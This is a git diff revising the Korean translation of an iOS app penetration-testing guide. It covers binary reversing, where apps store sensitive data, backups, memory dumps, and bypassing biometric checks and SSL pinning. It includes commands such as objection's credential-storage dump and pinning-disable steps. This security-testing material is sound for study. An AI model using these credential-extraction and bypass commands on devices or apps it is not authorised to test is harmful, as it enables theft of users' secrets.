- `NSUserDefaults`를 사용하여 저장된 모든 키/값 쌍은 이 파일에서 찾을 수 있습니다.
- **tmp/**
- 앱 실행 간에 지될 필요가 없는 **임시 파일**을 작성하는 데 이 디렉토리를 사용합니다.
- 앱 실행 간에 지될 필요가 없는 **임시 파일**을 작성하는 데 이 디렉토리를 사용합니다.
- 비영구적인 캐시 파일을 포함합니다.
- **사용자에게 보이지 않습니다**.
- 이 디렉토리의 콘텐츠는 백업되지 않습니다.
@ -282,7 +279,7 @@ Regular 420 None ... README.txt
```
### Binary Reversing
`<application-name>.app` 폴더 안에는 `<application-name>`이라는 이름의 바이너리 파일이 있습니다. 이것이 **실행될** 파일입니다. **`otool`** 도구를 사용하여 바이너리를 기본적으로 검사할 수 있습니다:
`<application-name>.app` 폴더 안에는 `<application-name>`이라는 이름의 바이너리 파일이 있습니다. 이 파일이 **실행**될 파일입니다. **`otool`** 도구를 사용하여 바이너리를 기본적으로 검사할 수 있습니다:
```bash
otool -Vh DVIA-v2 #Check some compilation attributes
magic cputype cpusubtype caps filetype ncmds sizeofcmds flags
@ -332,7 +329,7 @@ data 0x1003de748
flags 0x80
instanceStart 8
```
간결한 Objective-C 코드를 얻기 위해 [**class-dump**](http://stevenygard.com/projects/class-dump/)를 사용할 수 있습니다:
보다 간결한 Objective-C 코드를 얻기 위해 [**class-dump**](http://stevenygard.com/projects/class-dump/)를 사용할 수 있습니다:
```bash
class-dump some-app
//
@ -358,15 +355,7 @@ double _field1;
double _field2;
};
```
그러나 바이너리를 분해하는 가장 좋은 옵션은: [**Hopper**](https://www.hopperapp.com/download.html?)와 [**IDA**](https://www.hex-rays.com/products/ida/support/download_freeware/)입니다.
<figure><img src="../../images/image (48).png" alt=""><figcaption></figcaption></figure>
\
[**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=ios-pentesting)를 사용하여 세계에서 **가장 진보된** 커뮤니티 도구로 구동되는 **워크플로우를 쉽게 구축하고 자동화**하세요.\
오늘 바로 접근하세요:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=ios-pentesting" %}
그러나 바이너리를 분해하는 가장 좋은 옵션은 [**Hopper**](https://www.hopperapp.com/download.html?)와 [**IDA**](https://www.hex-rays.com/products/ida/support/download_freeware/)입니다.
## 데이터 저장
@ -377,16 +366,16 @@ ios-basics.md
{{#endref}}
> [!WARNING]
> 다음 정보 저장 장소**애플리케이션 설치 직후**, **애플리케이션의 모든 기능을 확인한 후****한 사용자에서 로그아웃한 후 다른 사용자로 로그인한 후** 확인해야 합니다.\
> 목표는 애플리케이션의 **보호되지 않은 민감한 정보**(비밀번호, 토큰), 현재 사용자 및 이전에 로그인한 사용자 정보를 찾는 것입니다.
> 다음 정보 저장 위치**애플리케이션 설치 직후**, **애플리케이션의 모든 기능을 확인한 후**, 심지어 **한 사용자에서 로그아웃하고 다른 사용자로 로그인한 후**에 확인해야 합니다.\
> 목표는 애플리케이션의 **보호되지 않은 민감한 정보**(비밀번호, 토큰), 현재 사용자 및 이전에 로그인한 사용자에 대한 정보를 찾는 것입니다.
### Plist
**plist** 파일은 **키-값 쌍**을 포함하는 구조화된 XML 파일입니다. 이는 지속적인 데이터를 저장하는 방법으로, 때때로 **이 파일에서 민감한 정보를 찾을 수 있습니다**. 앱을 설치한 후 집중적으로 사용한 후에 이러한 파일을 확인하는 것이 좋습니다.
**plist** 파일은 **키-값 쌍**을 포함하는 구조화된 XML 파일입니다. 이는 지속적인 데이터를 저장하는 방법으로, 때때로 **이 파일에서 민감한 정보를 찾을 수 있습니다**. 앱을 설치한 후 집중적으로 사용한 후에 이러한 파일을 확인하는 것이 좋습니다.
plist 파일에 데이터를 지속적으로 저장하는 가장 일반적인 방법은 **NSUserDefaults**를 사용하는 것입니다. 이 plist 파일은 **`Library/Preferences/<appBundleID>.plist`**의 앱 샌드박스 내에 저장됩니다.
[`NSUserDefaults`](https://developer.apple.com/documentation/foundation/nsuserdefaults) 클래스는 기본 시스템과 상호작용하기 위한 프로그래밍 인터페이스를 제공합니다. 기본 시스템은 애플리케이션이 **사용자 선호도**에 따라 동작을 사용자화할 수 있도록 합니다. `NSUserDefaults`에 의해 저장된 데이터는 애플리케이션 번들에서 볼 수 있습니다. 이 클래스는 **plist** **파일**에 **데이터**를 저장하지만, 소량의 데이터와 함께 사용되도록 설계되었습니다.
[`NSUserDefaults`](https://developer.apple.com/documentation/foundation/nsuserdefaults) 클래스는 기본 시스템과 상호작용하기 위한 프로그래밍 인터페이스를 제공합니다. 기본 시스템은 애플리케이션이 **사용자 기본 설정**에 따라 동작을 사용자화할 수 있도록 합니다. `NSUserDefaults`에 의해 저장된 데이터는 애플리케이션 번들에서 볼 수 있습니다. 이 클래스는 **plist** **파일**에 **데이터**를 저장하지만, 소량의 데이터와 함께 사용되도록 설계되었습니다.
이 데이터는 신뢰할 수 있는 컴퓨터를 통해 더 이상 직접 접근할 수 없지만, **백업**을 수행하여 접근할 수 있습니다.
@ -414,7 +403,7 @@ ios plist cat /private/var/mobile/Containers/Data/Application/<Application-UUID>
### Core Data
[`Core Data`](https://developer.apple.com/library/content/documentation/Cocoa/Conceptual/CoreData/nsfetchedresultscontroller.html#//apple_ref/doc/uid/TP40001075-CH8-SW1)는 애플리케이션의 객체 모델 계층을 관리하기 위한 프레임워크입니다. [Core Data는 SQLite를 영구 저장소로 사용할 수 있습니다](https://cocoacasts.com/what-is-the-difference-between-core-data-and-sqlite/), 하지만 프레임워크 자체는 데이터베이스가 아닙니다.\
CoreData는 기본적으로 데이터를 암호화하지 않습니다. 그러나 CoreData에 추가적인 암호화 계층을 추가할 수 있습니다. 자세한 내용은 [GitHub Repo](https://github.com/project-imas/encrypted-core-data)를 참조하세요.
CoreData는 기본적으로 데이터를 암호화하지 않습니다. 그러나 CoreData에 추가 암호화 계층을 추가할 수 있습니다. 자세한 내용은 [GitHub Repo](https://github.com/project-imas/encrypted-core-data)를 참조하세요.
애플리케이션의 SQLite Core Data 정보는 경로 `/private/var/mobile/Containers/Data/Application/{APPID}/Library/Application Support`에서 찾을 수 있습니다.
@ -465,7 +454,7 @@ find ./ -name "*.sqlite" -or -name "*.db"
### Realm 데이터베이스
[Realm Objective-C](https://realm.io/docs/objc/latest/) 및 [Realm Swift](https://realm.io/docs/swift/latest/)는 Apple에서 제공하지 않는 데이터 저장을 위한 강력한 대안을 제공합니다. 기본적으로 **암호화되지 않은 데이터**를 저장하며, 특정 구성으로 암호화를 사용할 수 있습니다.
[Realm Objective-C](https://realm.io/docs/objc/latest/) 및 [Realm Swift](https://realm.io/docs/swift/latest/)는 Apple에서 제공하지 않는 데이터 저장을 위한 강력한 대안을 제공합니다. 기본적으로, 그들은 **암호화되지 않은 데이터**를 저장하며, 특정 구성에 따라 암호화가 가능합니다.
데이터베이스는 다음 위치에 있습니다: `/private/var/mobile/Containers/Data/Application/{APPID}`. 이러한 파일을 탐색하려면 다음과 같은 명령을 사용할 수 있습니다:
```bash
@ -474,7 +463,7 @@ default.realm default.realm.lock default.realm.management/ default.realm.note
$ find ./ -name "*.realm*"
```
이 데이터베이스 파일을 보려면 [**Realm Studio**](https://github.com/realm/realm-studio) 도구를 추천합니다.
이 데이터베이스 파일을 보려면 [**Realm Studio**](https://github.com/realm/realm-studio) 도구를 권장합니다.
Realm 데이터베이스 내에서 암호화를 구현하려면 다음 코드 스니펫을 사용할 수 있습니다:
```swift
@ -488,7 +477,7 @@ let realm = try Realm(configuration: config)
fatalError("Error opening realm: \(error)")
}
```
### Couchbase Lite 데이터베이스
### Couchbase Lite Databases
[Couchbase Lite](https://github.com/couchbase/couchbase-lite-ios)는 **경량****임베디드** 데이터베이스 엔진으로 설명되며, **문서 지향** (NoSQL) 접근 방식을 따릅니다. **iOS** 및 **macOS**에 네이티브로 설계되어 데이터 동기화를 원활하게 수행할 수 있는 기능을 제공합니다.
@ -498,7 +487,7 @@ ls /private/var/mobile/Containers/Data/Application/{APPID}/Library/Application S
```
### 쿠키
iOS는 각 앱 폴더의 **`Library/Cookies/cookies.binarycookies`**에 앱의 쿠키를 저장합니다. 그러나 개발자는 때때로 **백업에서 접근할 수 있는 쿠키 파일** 때문에 이를 **키체인**에 저장하기로 결정합니다.
iOS는 각 앱 폴더의 **`Library/Cookies/cookies.binarycookies`**에 앱의 쿠키를 저장합니다. 그러나 개발자는 때때로 **키체인**에 저장하기로 결정하는데, 이는 언급된 **쿠키 파일이 백업에서 접근 가능하기 때문입니다.**
쿠키 파일을 검사하려면 [**이 파이썬 스크립트**](https://github.com/mdegrazia/Safari-Binary-Cookie-Parser)를 사용하거나 objection의 **`ios cookies get`**을 사용할 수 있습니다.\
**또한 objection을 사용하여** 이러한 파일을 JSON 형식으로 변환하고 데이터를 검사할 수 있습니다.
@ -541,7 +530,7 @@ iOS는 각 앱 폴더의 **`Library/Cookies/cookies.binarycookies`**에 앱의
홈 버튼을 누를 때마다 iOS는 **현재 화면의 스냅샷을 찍습니다**. 이는 애플리케이션으로의 전환을 훨씬 부드럽게 할 수 있게 해줍니다. 그러나 **민감한** **데이터**가 현재 화면에 존재하는 경우, 이는 **이미지**에 **저장됩니다** (이는 **재부팅** 후에도 **유지됩니다**). 이러한 스냅샷은 홈 화면을 두 번 탭하여 앱 간 전환 시에도 접근할 수 있습니다.
아이폰이 탈옥되지 않는 한, **공격자**는 이러한 스크린샷을 보기 위해 **장치**에 **차단되지 않은** **접근**이 필요합니다. 기본적으로 마지막 스냅샷은 애플리케이션의 샌드박스에 `Library/Caches/Snapshots/` 또는 `Library/SplashBoard/Snapshots` 폴더에 저장됩니다 (신뢰할 수 있는 컴퓨터는 iOX 7.0부터 파일 시스템에 접근할 수 없습니다).
iPhone이 탈옥되지 않는 한, **공격자**는 이러한 스크린샷을 보려면 **장치**에 **차단되지 않은** **접근**이 필요합니다. 기본적으로 마지막 스냅샷은 애플리케이션의 샌드박스에 `Library/Caches/Snapshots/` 또는 `Library/SplashBoard/Snapshots` 폴더에 저장됩니다 (신뢰할 수 있는 컴퓨터는 iOX 7.0부터 파일 시스템에 접근할 수 없습니다).
이러한 나쁜 행동을 방지하는 한 가지 방법은 `ApplicationDidEnterBackground()` 함수를 사용하여 스냅샷을 찍기 전에 빈 화면을 표시하거나 민감한 데이터를 제거하는 것입니다.
@ -591,11 +580,11 @@ NSURLCredential *credential;
credential = [NSURLCredential credentialWithUser:username password:password persistence:NSURLCredentialPersistencePermanent];
[[NSURLCredentialStorage sharedCredentialStorage] setCredential:credential forProtectionSpace:self.loginProtectionSpace];
```
이 저장된 자격 증명을 추출하기 위해 Objection의 명령 `ios nsurlcredentialstorage dump`가 사용됩니다.
이 저장된 자격 증명을 추출하기 위해 Objection의 명령 `ios nsurlcredentialstorage dump`가 사용됩니다.
## **사용자 정의 키보드 및 키보드 캐시**
iOS 8.0 이후로 사용자는 **설정 > 일반 > 키보드 > 키보드**에서 관리할 수 있는 사용자 정의 키보드 확장을 설치할 수 있습니다. 이러한 키보드는 확장된 기능을 제공하지만, 키스트로크 로깅 및 외부 서버로 데이터 전송의 위험이 있으며, 네트워크 접근이 필요한 키보드에 대해 사용자에게 알림이 제공됩니다. 앱은 민감한 정보 입력을 위해 사용자 정의 키보드 사용을 제한할 수 있으며, 제한해야 합니다.
iOS 8.0 이후로 사용자는 **설정 > 일반 > 키보드 > 키보드**에서 관리할 수 있는 사용자 정의 키보드 확장을 설치할 수 있습니다. 이러한 키보드는 확장된 기능을 제공하지만, 키스트로크 로깅 및 외부 서버로 데이터 전송의 위험이 있습니다. 사용자는 네트워크 접근이 필요한 키보드에 대해 알림을 받습니다. 앱은 민감한 정보 입력을 위해 사용자 정의 키보드 사용을 제한해야 합니다.
**보안 권장 사항:**
@ -617,7 +606,7 @@ textField.autocorrectionType = UITextAutocorrectionTypeNo;
```
## **로그**
코드 디버깅은 종종 **로깅**을 포함합니다. **로그에 민감한 정보가 포함될 수 있는 위험**이 있습니다. 이전 iOS 6 및 이전 버전에서 로그가 모든 앱에 접근 가능하여 민감한 데이터 유출의 위험이 있었습니다. **현재 애플리케이션은 자신의 로그만 접근할 수 있도록 제한됩니다**.
코드 디버깅은 종종 **로깅**을 포함합니다. **로그에 민감한 정보가 포함될 수 있는 위험**이 있습니다. 이전에는 iOS 6 및 이전 버전에서 로그가 모든 앱에 접근 가능하여 민감한 데이터 유출의 위험이 있었습니다. **현재는 애플리케이션이 자신의 로그만 접근할 수 있도록 제한됩니다**.
이러한 제한에도 불구하고 **잠금 해제된 장치에 물리적으로 접근할 수 있는 공격자**는 여전히 장치를 컴퓨터에 연결하고 **로그를 읽음으로써 이를 악용할 수 있습니다**. 로그는 앱이 제거된 후에도 디스크에 남아 있다는 점에 유의해야 합니다.
@ -647,31 +636,21 @@ iPhone:~ root# socat - UNIX-CONNECT:/var/run/lockdown/syslog.sock
```
로그 활동을 관찰하기 위한 명령어가 뒤따르며, 이는 문제 진단이나 로그에서 잠재적인 데이터 유출을 식별하는 데 매우 유용할 수 있습니다.
---
<figure><img src="../../images/image (48).png" alt=""><figcaption></figcaption></figure>
\
[**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=ios-pentesting)를 사용하여 세계에서 **가장 진보된** 커뮤니티 도구로 구동되는 **워크플로우 자동화**를 쉽게 구축하세요.\
오늘 바로 액세스하세요:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=ios-pentesting" %}
## 백업
**자동 백업 기능**이 iOS에 통합되어 있어, iTunes(최대 macOS Catalina), Finder(macOS Catalina 이후) 또는 iCloud를 통해 장치 데이터 복사본을 생성할 수 있습니다. 이러한 백업은 Apple Pay 세부정보 및 Touch ID 구성과 같은 매우 민감한 요소를 제외한 거의 모든 장치 데이터를 포함합니다.
**자동 백업 기능**은 iOS에 통합되어 있으며, iTunes(최대 macOS Catalina), Finder(최신 macOS Catalina부터) 또는 iCloud를 통해 장치 데이터 복사본을 생성할 수 있습니다. 이러한 백업은 Apple Pay 세부정보 및 Touch ID 구성과 같은 매우 민감한 요소를 제외한 거의 모든 장치 데이터를 포함합니다.
### 보안 위험
**설치된 앱 및 해당 데이터**가 백업에 포함되면 잠재적인 **데이터 유출** 문제와 **백업 수정이 앱 기능을 변경할 위험**이 발생합니다. 이러한 위험을 완화하기 위해 **어떤 앱의 디렉토리나 하위 디렉토리 내에 민감한 정보를 평문으로 저장하지 않는 것이 좋습니다.**
**설치된 앱 및 해당 데이터**가 백업에 포함되는 것은 잠재적인 **데이터 유출** 문제와 **백업 수정이 앱 기능을 변경할 수 있는 위험**을 제기합니다. 이러한 위험을 완화하기 위해 **어떤 앱의 디렉토리나 하위 디렉토리 내에 민감한 정보를 평문으로 저장하지 않는 것이 좋습니다.**
### 백업에서 파일 제외하기
`Documents/``Library/Application Support/`의 파일은 기본적으로 백업됩니다. 개발자는 `NSURL setResourceValue:forKey:error:`를 사용하여 특정 파일이나 디렉토리를 `NSURLIsExcludedFromBackupKey` 백업에서 제외할 수 있습니다. 이 관행은 민감한 데이터가 백업에 포함되지 않도록 보호하는 데 중요합니다.
`Documents/``Library/Application Support/`의 파일은 기본적으로 백업됩니다. 개발자는 `NSURL setResourceValue:forKey:error:`를 사용하여 `NSURLIsExcludedFromBackupKey`와 함께 특정 파일이나 디렉토리를 백업에서 제외할 수 있습니다. 이 관행은 민감한 데이터가 백업에 포함되지 않도록 보호하는 데 중요합니다.
### 취약점 테스트
앱의 백업 보안을 평가하려면, 먼저 Finder를 사용하여 **백업을 생성**한 다음, [Apple의 공식 문서](https://support.apple.com/en-us/HT204215)의 안내에 따라 이를 찾습니다. 백업에서 민감한 데이터나 앱 동작에 영향을 줄 수 있는 구성을 분석합니다.
앱의 백업 보안을 평가하기 위해, 먼저 Finder를 사용하여 **백업을 생성**한 다음, [Apple의 공식 문서](https://support.apple.com/en-us/HT204215)의 안내에 따라 이를 찾습니다. 백업에서 민감한 데이터나 앱 동작에 영향을 줄 수 있는 구성을 분석합니다.
민감한 정보는 명령줄 도구나 [iMazing](https://imazing.com)과 같은 애플리케이션을 사용하여 찾을 수 있습니다. 암호화된 백업의 경우, 백업의 루트에 있는 "Manifest.plist" 파일에서 "IsEncrypted" 키를 확인하여 암호화가 존재하는지 확인할 수 있습니다.
```xml
@ -686,7 +665,7 @@ iPhone:~ root# socat - UNIX-CONNECT:/var/run/lockdown/syslog.sock
...
</plist>
```
암호화된 백업을 처리하기 위해 [DinoSec의 GitHub 저장소](https://github.com/dinosec/iphone-dataprotection/tree/master/python_scripts)에는 Python 스크립트, 예를 들어 **backup_tool.py**와 **backup_passwd.py**가 유용할 수 있으며, 최신 iTunes/Finder 버전과의 호환성을 위해 조정이 필요할 수 있습니다. [**iOSbackup** 도구](https://pypi.org/project/iOSbackup/)는 비밀번호로 보호된 백업 내 파일에 접근하는 또 다른 옵션입니다.
암호화된 백업을 처리하기 위해 [DinoSec의 GitHub 저장소](https://github.com/dinosec/iphone-dataprotection/tree/master/python_scripts)에서 제공하는 Python 스크립트, 예를 들어 **backup_tool.py**와 **backup_passwd.py**가 유용할 수 있으며, 최신 iTunes/Finder 버전과의 호환성을 위해 조정이 필요할 수 있습니다. [**iOSbackup** 도구](https://pypi.org/project/iOSbackup/)는 비밀번호로 보호된 백업 내 파일에 접근하는 또 다른 옵션입니다.
### 앱 동작 수정
@ -708,7 +687,7 @@ $ strings memory > strings.txt
# Extracting strings using rabin2
$ rabin2 -ZZ memory > strings.txt
```
보다 자세한 분석을 위해, 특정 데이터 유형이나 패턴을 검색하는 것을 포함하여, **radare2**는 광범위한 검색 기능을 제공합니다:
보다 자세한 분석을 위해 특정 데이터 유형이나 패턴을 검색하는 것을 포함하여, **radare2**는 광범위한 검색 기능을 제공합니다:
```bash
$ r2 <name_of_your_dump_file>
[0x00000000]> /?
@ -725,15 +704,15 @@ $ r2 frida://usb//<name_of_your_app>
### 열쇠 관리 프로세스의 부족
일부 개발자는 민감한 데이터를 로컬 스토리지에 저장하고 코드에 하드코딩되거나 예측 가능한 키로 암호화합니다. 이는 역공학을 통해 공격자가 기밀 정보를 추출할 수 있으므로 피해야 합니다.
일부 개발자는 민감한 데이터를 로컬 스토리지에 저장하고 코드에 하드코딩되거나 예측 가능한 키로 암호화합니다. 이는 역공학을 통해 공격자가 기밀 정보를 추출할 수 있으므로 해서는 안 됩니다.
### 안전하지 않거나 사용 중지된 알고리즘의 사용
개발자는 **사용 중지된 알고리즘**을 사용하여 **검사**를 수행하거나 **데이터를 저장**하거나 **전송**해서는 안 됩니다. 이러한 알고리즘의 예로는 RC4, MD4, MD5, SHA1 등이 있습니다. 예를 들어 **해시**를 사용하여 비밀번호를 저장하는 경우, 소금을 사용하여 해시의 무차별 대입 **저항성**을 높여야 합니다.
개발자는 **사용 중지된 알고리즘**을 사용하여 **검사**를 수행하거나 **데이터를 저장**하거나 **전송**해서는 안 됩니다. 이러한 알고리즘의 예로는 RC4, MD4, MD5, SHA1 등이 있습니다. 예를 들어 **해시**를 사용하여 비밀번호를 저장하는 경우, 소금을 사용하여 해시 브루트 포스 **저항**이 있는 해시를 사용해야 합니다.
### 확인
주요 확인 사항은 코드에서 **하드코딩된** 비밀번호/비밀을 찾을 수 있는지, 그것들이 **예측 가능**한지, 그리고 코드가 어떤 종류의 **약한** **암호화** 알고리즘을 사용하고 있는지 확인하는 것입니다.
주요 확인 사항은 코드에서 **하드코딩된** 비밀번호/비밀을 찾을 수 있는지, 또는 그것들이 **예측 가능**한지, 그리고 코드가 어떤 종류의 **약한** **암호화** 알고리즘을 사용하고 있는지 확인하는 것입니다.
일부 **암호** **라이브러리**를 자동으로 **모니터링**할 수 있다는 점은 흥미롭습니다. **objection**을 사용하여:
```swift
@ -743,17 +722,17 @@ ios monitor crypt
## 로컬 인증
**로컬 인증**은 원격 엔드포인트에서 암호화 방법을 통해 접근을 보호하는 데 중요한 역할을 합니다. 여기서 핵심은 적절한 구현이 없으면 로컬 인증 메커니즘이 우회될 수 있다는 것입니다.
**로컬 인증**은 특히 원격 엔드포인트에 대한 접근을 암호화 방법으로 보호하는 데 중요한 역할을 합니다. 여기서 핵심은 적절한 구현이 없으면 로컬 인증 메커니즘이 우회될 수 있다는 것입니다.
Apple의 [**로컬 인증 프레임워크**](https://developer.apple.com/documentation/localauthentication)와 [**키체인**](https://developer.apple.com/library/content/documentation/Security/Conceptual/keychainServConcepts/01introduction/introduction.html)은 사용자 인증 대화 상자를 용이하게 하고 비밀 데이터를 안전하게 처리하기 위한 강력한 API를 제공합니다. Secure Enclave는 Touch ID에 대한 지문 ID를 보호하며, Face ID는 생체 데이터를 손상시키지 않고 얼굴 인식에 의존합니다.
Touch ID/Face ID를 통합하기 위해 개발자는 두 가지 API 선택이 있습니다:
Touch ID/Face ID를 통합하기 위해 개발자는 두 가지 API 선택이 있습니다:
- **`LocalAuthentication.framework`**: 생체 데이터에 접근하지 않고 고수준 사용자 인증을 위한 것입니다.
- **`Security.framework`**: 생체 인증으로 비밀 데이터를 보호하는 저수준 키체인 서비스 접근을 위한 것입니다. 다양한 [오픈 소스 래퍼](https://www.raywenderlich.com/147308/secure-ios-user-data-keychain-touch-id)가 키체인 접근을 간소화합니다.
> [!CAUTION]
> 그러나 `LocalAuthentication.framework``Security.framework` 모두 주로 인증 프로세스를 위한 데이터를 전송하지 않고 불리언 값만 반환하므로 우회에 취약합니다 (참조: [Don't touch me that way, by David Lindner et al](https://www.youtube.com/watch?v=XhXIHVGCFFM)).
> 그러나 `LocalAuthentication.framework``Security.framework` 모두 주로 인증 프로세스를 위한 데이터를 전송하지 않고 불리언 값만 반환하므로 우회에 취약한 취약점을 가지고 있습니다(참조: [Don't touch me that way, by David Lindner et al](https://www.youtube.com/watch?v=XhXIHVGCFFM)).
### 로컬 인증 구현
@ -762,7 +741,7 @@ Touch ID/Face ID를 통합하기 위해 개발자는 두 가지 API 선택권이
- **`deviceOwnerAuthentication`**: Touch ID 또는 장치 암호를 요청하며, 둘 다 활성화되지 않은 경우 실패합니다.
- **`deviceOwnerAuthenticationWithBiometrics`**: Touch ID만 요청합니다.
성공적인 인증은 **`evaluatePolicy`** 불리언 반환 값으로 표시되며, 이는 잠재적인 보안 결함을 강조합니다.
성공적인 인증은 **`evaluatePolicy`**에서 불리언 반환 값으로 표시되며, 이는 잠재적인 보안 결함을 강조합니다.
### 키체인을 이용한 로컬 인증
@ -843,7 +822,7 @@ if (status == noErr) {
{{#endtab}}
{{#endtabs}}
이제 키체인에서 저장된 항목을 요청할 수 있습니다. 키체인 서비스는 사용자에게 인증 대화 상자를 표시하고 적절한 지문이 제공되었는지에 따라 데이터 또는 nil을 반환합니다.
이제 키체인에서 저장된 항목을 요청할 수 있습니다. 키체인 서비스는 사용자에게 인증 대화 상자를 표시하고 적절한 지문이 제공되었는지 여부에 따라 데이터 또는 nil을 반환합니다.
{{#tabs}}
{{#tab name="Swift"}}
@ -1038,13 +1017,13 @@ burp-configuration-for-ios.md
### 호스트 이름 확인
TLS 인증서를 검증할 때 일반적인 문제 중 하나는 인증서가 **신뢰할 수 있는** **CA**에 의해 서명되었는지 확인하는 것이지만, **인증서의 호스트 이름**이 접근 중인 호스트 이름인지 **확인하지 않는** 것입니다.\
이 문제를 Burp를 사용하여 확인하기 위해, iPhone에서 Burp CA를 신뢰한 후, **다른 호스트 이름에 대해 Burp로 새 인증서를 생성**하고 사용할 수 있습니다. 애플리케이션이 여전히 작동하면, 취약점이 있는 것입니다.
TLS 인증서를 검증할 때 일반적인 문제 중 하나는 인증서가 **신뢰할 수 있는** **CA**에 의해 서명되었는지 확인하는 것이지만, **호스트 이름**이 접근 중인 호스트 이름인지 **확인하지 않는** 것입니다.\
이 문제를 Burp를 사용하여 확인하기 위해, iPhone에서 Burp CA를 신뢰한 후, **다른 호스트 이름에 대해 Burp로 새 인증서를 생성하고** 사용할 수 있습니다. 애플리케이션이 여전히 작동하면, 취약점이 있는 것입니다.
### 인증서 고정
애플리케이션이 SSL Pinning을 올바르게 사용하고 있다면, 애플리케이션은 예상되는 인증서일 때만 작동합니다. 애플리케이션을 테스트할 때 **Burp가 자신의 인증서를 제공하기 때문에 문제가 될 수 있습니다.**\
탈옥된 장치 내에서 이 보호를 우회하기 위해 [**SSL Kill Switch**](https://github.com/nabla-c0d3/ssl-kill-switch2) 애플리케이션을 설치하거나 [**Burp Mobile Assistant**](https://portswigger.net/burp/documentation/desktop/mobile/config-ios-device)를 설치할 수 있습니다.
애플리케이션이 SSL Pinning을 올바르게 사용하고 있다면, 애플리케이션은 예상되는 인증서일 때만 작동합니다. 애플리케이션을 테스트할 때 **Burp가 자신의 인증서를 제공하므로 문제가 될 수 있습니다.**\
탈옥된 장치 내에서 이 보호를 우회하기 위해 [**SSL Kill Switch**](https://github.com/nabla-c0d3/ssl-kill-switch2) 설치하거나 [**Burp Mobile Assistant**](https://portswigger.net/burp/documentation/desktop/mobile/config-ios-device)를 설치할 수 있습니다.
또한 **objection의** `ios sslpinning disable`을 사용할 수 있습니다.
@ -1061,13 +1040,13 @@ TLS 인증서를 검증할 때 일반적인 문제 중 하나는 인증서가 **
### 핫 패칭/강제 업데이트
개발자는 애플리케이션을 App Store에 재제출하고 승인을 기다리지 않고도 **모든 설치를 즉시 패치**할 수 있습니다.\
목적을 위해 일반적으로 [**JSPatch**](https://github.com/bang590/JSPatch)**가 사용됩니다.** 그러나 [Siren](https://github.com/ArtSabintsev/Siren) 및 [react-native-appstore-version-checker](https://www.npmjs.com/package/react-native-appstore-version-checker)와 같은 다른 옵션도 있습니다.\
**이는 악의적인 제3자 SDK에 의해 남용될 수 있는 위험한 메커니즘이므로, 자동 업데이트에 사용되는 방법(있는 경우)을 확인하고 테스트하는 것이 좋습니다.** 이 목적을 위해 애플리케이션의 이전 버전을 다운로드해 볼 수 있습니다.
개발자는 애플리케이션을 App Store에 재제출하고 승인을 기다리지 않고도 **모든 설치를 즉시 패치할 수 있습니다.**\
위해 일반적으로 [**JSPatch**](https://github.com/bang590/JSPatch)**가 사용됩니다.** 그러나 [Siren](https://github.com/ArtSabintsev/Siren) 및 [react-native-appstore-version-checker](https://www.npmjs.com/package/react-native-appstore-version-checker)와 같은 다른 옵션도 있습니다.\
**이는 악의적인 제3자 SDK에 의해 남용될 수 있는 위험한 메커니즘이므로, 자동 업데이트에 사용되는 방법(있는 경우)을 확인하고 테스트하는 것이 좋습니다.** 이 위해 애플리케이션의 이전 버전을 다운로드해 볼 수 있습니다.
### 제3자
**3rd party SDKs**와 관련된 중요한 제는 **기능에 대한 세부적인 제어 부족**입니다. 개발자는 SDK를 통합하고 모든 기능을 수용할 것인지, 또는 그 이점을 완전히 포기할 것인지 선택해야 합니다. 종종 개발자는 이러한 SDK 내의 취약점을 스스로 패치할 수 없습니다. 또한, SDK가 커뮤니티 내에서 신뢰를 얻으면서 일부는 악성 코드를 포함할 수 있습니다.
**3rd party SDKs**와 관련된 중요한 도전 과제는 **기능에 대한 세부적인 제어 부족**입니다. 개발자는 SDK를 통합하고 모든 기능을 수용할 것인지, 또는 그 이점을 완전히 포기할 것인지 선택해야 합니다. 종종 개발자는 이러한 SDK 내의 취약점을 스스로 패치할 수 없습니다. 또한, SDK가 커뮤니티 내에서 신뢰를 얻으면서 일부는 악성 코드를 포함할 수 있습니다.
제3자 SDK가 제공하는 서비스에는 사용자 행동 추적, 광고 표시 또는 사용자 경험 향상이 포함될 수 있습니다. 그러나 이는 개발자가 이러한 라이브러리에서 실행되는 코드를 완전히 인식하지 못할 수 있으므로 잠재적인 개인 정보 및 보안 위험을 초래합니다. 제3자 서비스와 공유되는 정보는 필요한 것만으로 제한하고 민감한 데이터가 노출되지 않도록 하는 것이 중요합니다.
@ -1105,11 +1084,5 @@ otool -L <application_path>
- [https://github.com/authenticationfailure/WheresMyBrowser.iOS](https://github.com/authenticationfailure/WheresMyBrowser.iOS)
- [https://github.com/nabla-c0d3/ssl-kill-switch2](https://github.com/nabla-c0d3/ssl-kill-switch2)
<figure><img src="../../images/image (48).png" alt=""><figcaption></figcaption></figure>
\
[**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=ios-pentesting)를 사용하여 세계에서 **가장 진보된** 커뮤니티 도구로 **워크플로우**를 쉽게 구축하고 **자동화**하세요.\
지금 바로 액세스하세요:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=ios-pentesting" %}
{{#include ../../banners/hacktricks-training.md}}

View File

@ -2,64 +2,56 @@
{{#include ../../banners/hacktricks-training.md}}
<figure><img src="../../images/image (48).png" alt=""><figcaption></figcaption></figure>
## iOS 기기에서 Burp 인증서 설치
\
[**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=burp-configuration-for-ios)를 사용하여 세계에서 **가장 진보된** 커뮤니티 도구로 구동되는 **워크플로우 자동화**를 쉽게 구축하세요.\
오늘 바로 접근하세요:
안전한 웹 트래픽 분석 및 iOS 기기에서 SSL 핀닝을 위해 Burp Suite는 **Burp Mobile Assistant**를 통해 또는 수동 구성으로 활용할 수 있습니다. 아래는 두 방법에 대한 요약 가이드입니다:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=burp-configuration-for-ios" %}
## Installing the Burp Certificate on iOS Devices
